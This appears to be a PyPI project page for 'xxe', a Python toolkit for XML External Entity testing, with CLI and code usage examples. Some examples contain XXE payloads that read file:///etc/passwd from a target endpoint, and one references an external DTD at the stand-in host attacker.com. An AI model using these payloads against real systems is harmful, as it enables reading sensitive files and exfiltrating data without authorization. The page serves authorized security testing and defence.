A comprehensive XML External Entity (XXE) security testing toolkit
Project description
XXE PyPI Package
A comprehensive Python package for XML External Entity (XXE) security testing and analysis. This package provides tools for security researchers and ethical hackers to identify and analyze XXE vulnerabilities in XML processing systems.
⚠️ IMPORTANT: This tool is for educational and authorized security testing purposes only. Only use on systems you own or have explicit permission to test.
Features
- 🔍 Advanced XXE vulnerability detection
- 📊 Detailed security reports and analysis
- 🛠️ Customizable payload generation
- 🧪 Automated test harness
- 🔒 Secure XML processing utilities
- 📝 Comprehensive logging and reporting
Installation
pip install xxe
Quick Start
Command Line Interface
The XXE package includes a command line interface (CLI) for easy integration into your workflow. After installing the package, you can use the xxe-scan command to perform scans directly from the terminal.
Usage
xxe-scan --help
This will display the help message with all available options and usage instructions.
Example
To scan an XML file for vulnerabilities:
xxe-scan analyze-file example.xml
To generate a custom payload:
xxe-scan generate-payload --file-path /etc/passwd
To test an endpoint with a payload:
xxe-scan test-endpoint --url http://example.com/xml-endpoint --payload '<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'
from xxe import XXEAnalyzer, XXETestHarness, XXEPayloads
# Basic file analysis
analyzer = XXEAnalyzer()
report = analyzer.analyze_file("example.xml")
print(f"Found {report['summary']['total_vulnerabilities']} potential vulnerabilities")
# Generate test payload
payload = XXEPayloads.generate_custom_payload(file_path="/etc/passwd")
# Run security test
harness = XXETestHarness(target_url="http://example.com/xml-endpoint")
result = harness.test_endpoint(payload)
Detailed Usage
1. XML File Analysis
from xxe import XXEAnalyzer
# Create analyzer with verbose output
analyzer = XXEAnalyzer(verbose=True)
# Analyze XML file
report = analyzer.analyze_file("target.xml")
# Print detailed results
print(f"Scan completed at: {report['scan_time']}")
print("\nVulnerabilities Summary:")
print(f"High: {report['summary']['severity_counts']['HIGH']}")
print(f"Medium: {report['summary']['severity_counts']['MEDIUM']}")
print(f"Low: {report['summary']['severity_counts']['LOW']}")
# Print detailed findings
for vuln in report['vulnerabilities']:
print(f"\nType: {vuln['type']}")
print(f"Severity: {vuln['severity']}")
print(f"Description: {vuln['description']}")
2. Payload Generation and Testing
from xxe import XXEPayloads, XXETestHarness
# Get built-in payloads
payloads = XXEPayloads.get_basic_payloads()
# Generate custom payload
custom_payload = XXEPayloads.generate_custom_payload(
url="http://attacker.com/evil.dtd"
)
# Create test harness
harness = XXETestHarness(target_url="http://target.com/xml")
# Run individual test
result = harness.test_endpoint(custom_payload)
print(f"Response Code: {result['status_code']}")
print(f"Response Time: {result['response_time']}s")
# Run full test suite
results = harness.run_test_suite()
3. Secure XML Processing
from xxe import create_secure_xml, validate_xml_security
# Create secure XML
content = "<data>Example content</data>"
secure_xml = create_secure_xml(content)
# Validate XML security
is_safe, validation_report = validate_xml_security("input.xml")
if not is_safe:
print("Security issues found!")
print(validation_report)
Security Features
The package includes various security features:
- DOCTYPE declaration detection
- Entity injection analysis
- External reference checking
- Comment analysis for sensitive data
- Encoding validation
- Comprehensive vulnerability reporting
Best Practices
- Always obtain proper authorization before testing
- Document all testing activities
- Follow responsible disclosure practices
- Use secure configurations in production
- Keep the package updated to the latest version
Logging
The package uses Python's built-in logging module. To configure logging:
import logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
Contributing
Contributions are welcome! Please feel free to submit a Pull Request. For major changes, please open an issue first to discuss what you would like to change.
- Fork the repository
- Create your feature branch (
git checkout -b feature/AmazingFeature) - Commit your changes (
git commit -m 'Add some AmazingFeature') - Push to the branch (
git push origin feature/AmazingFeature) - Open a Pull Request
License
This project is licensed under the MIT License - see the LICENSE file for details.
Support
- Documentation: https://xxe.readthedocs.io/
- Issue Tracker: https://github.com/ishanoshada/xxe/issues
- Security Issues: Please report security issues directly to security@yourdomain.com
Disclaimer
This tool is for educational and authorized testing purposes only. Users are responsible for obtaining appropriate permissions before testing any systems. The authors are not responsible for misuse or damages caused by this tool.
Authors
- Your Name (@ishanoshada)
Acknowledgments
- Security researchers and ethical hackers who contributed to XXE research
- The Python security community
- All contributors to this project
Repository Views
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file xxe-0.1.6.tar.gz.
File metadata
- Download URL: xxe-0.1.6.tar.gz
- Upload date:
- Size: 9.9 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.9.21
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
ffc65e723c63b3e30efd00331f78cbeaf73c112c8adc1c8be8154adbf543e636
|
|
| MD5 |
194eb82065dda83d0e12f643ae057dd3
|
|
| BLAKE2b-256 |
a81bff6d413b80116b84c55ff6b345601c00f7ebe88ed05abc1e7962a0af5781
|
File details
Details for the file xxe-0.1.6-py3-none-any.whl.
File metadata
- Download URL: xxe-0.1.6-py3-none-any.whl
- Upload date:
- Size: 8.5 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.9.21
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
163fb86163027c208d438b9d79be34ab19ade8a85de8d583083c87ba869f74a6
|
|
| MD5 |
2a6ae0e1a8df85bf61c9a5c79c518cd1
|
|
| BLAKE2b-256 |
740a11c23ea3d06c6da87d8e0656291da6dc6f9c0f60af16f939a67496f20c0f
|